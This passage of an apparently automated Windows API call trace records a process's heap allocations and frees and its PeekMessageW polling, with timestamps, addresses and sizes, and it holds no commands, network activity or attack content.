hHeap=0xe80000) returned 1 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078338 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078350 [0140.591] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078428 [0140.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0140.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa38 [0140.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c200) returned 0x1144810 [0140.592] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0140.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078380 [0140.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c200) returned 0x10b7808 [0140.592] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078380 | out: hHeap=0xe80000) returned 1 [0140.592] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078590 | out: hHeap=0xe80000) returned 1 [0140.592] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf000e8 | out: hHeap=0xe80000) returned 1 [0140.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783e0 | out: hHeap=0xe80000) returned 1 [0140.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078350 | out: hHeap=0xe80000) returned 1 [0140.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078338 | out: hHeap=0xe80000) returned 1 [0140.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1144810 | out: hHeap=0xe80000) returned 1 [0140.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0140.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078428 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782d8 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078518 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078530 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078548 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078458 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078410 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078488 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078308 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782f0 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078560 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078368 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784a0 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078320 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784d0 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784b8 | out: hHeap=0xe80000) returned 1 [0140.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784e8 | out: hHeap=0xe80000) returned 1 [0140.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078578 | out: hHeap=0xe80000) returned 1 [0140.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2808 | out: hHeap=0xe80000) returned 1 [0140.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782c0 | out: hHeap=0xe80000) returned 1 [0140.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.598] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.598] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c200) returned 0x10d3a10 [0140.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10b7808 | out: hHeap=0xe80000) returned 1 [0140.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.600] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10d3a10 | out: hHeap=0xe80000) returned 1 [0140.604] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.604] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.604] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba4f8 [0140.604] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078320 [0140.604] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.604] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.604] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10783e0 [0140.604] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078338 [0140.604] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa28 [0140.604] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078320 | out: hHeap=0xe80000) returned 1 [0140.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4f8 | out: hHeap=0xe80000) returned 1 [0140.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078338 | out: hHeap=0xe80000) returned 1 [0140.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783e0 | out: hHeap=0xe80000) returned 1 [0140.605] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.605] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.605] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb10 | out: hHeap=0xe80000) returned 1 [0140.606] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.606] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.606] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7a38 [0140.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7a38 | out: hHeap=0xe80000) returned 1 [0140.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0140.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0140.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7798 [0140.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7798 | out: hHeap=0xe80000) returned 1 [0140.608] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.608] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.608] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0140.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.608] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0140.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.608] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.608] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.608] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0140.608] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.608] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.609] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0140.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0140.748] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.748] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.748] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.748] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.748] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.748] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.748] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.748] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0140.748] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.749] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0140.749] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.749] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.749] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.749] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0140.749] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.749] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.749] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.749] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0140.749] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.750] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0140.750] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.750] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.750] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.750] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7958 [0140.750] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7958 | out: hHeap=0xe80000) returned 1 [0140.750] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.750] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.750] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0140.750] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.751] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0140.751] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.751] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.751] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.751] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.751] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.751] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.751] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.751] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0140.751] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.752] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0140.752] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.752] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.752] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.752] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.752] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.752] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.752] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.752] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0140.752] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.752] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0140.752] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.752] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.753] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.753] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0140.753] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.753] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.753] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.753] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0140.753] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.753] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0140.753] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.753] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.753] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.753] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.753] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.753] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.754] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.754] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0140.754] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.754] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0140.754] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.754] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.754] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.754] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.754] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.754] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.754] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0140.755] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba7c8 [0140.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078488 [0140.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf928 [0140.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10783b0 [0140.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10783e0 [0140.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783e0 | out: hHeap=0xe80000) returned 1 [0140.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0140.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078440 [0140.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0140.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078440 | out: hHeap=0xe80000) returned 1 [0140.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7998 [0140.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078380 [0140.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf958 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x78) returned 0xedca38 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10784d0 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10784b8 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078428 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10782f0 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078458 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078398 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10783e0 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10784a0 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10784e8 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078548 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078440 [0140.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078320 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078518 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078530 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10783f8 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078560 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078578 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078410 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078590 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10785a8 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10782c0 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10782d8 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078308 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078338 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078350 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078368 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078680 [0140.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078740 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078638 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10788a8 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10785d8 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078830 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078620 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10785f0 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078758 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10787b8 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10786f8 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078668 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10787d0 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078608 [0140.758] RtlAllocateHeap 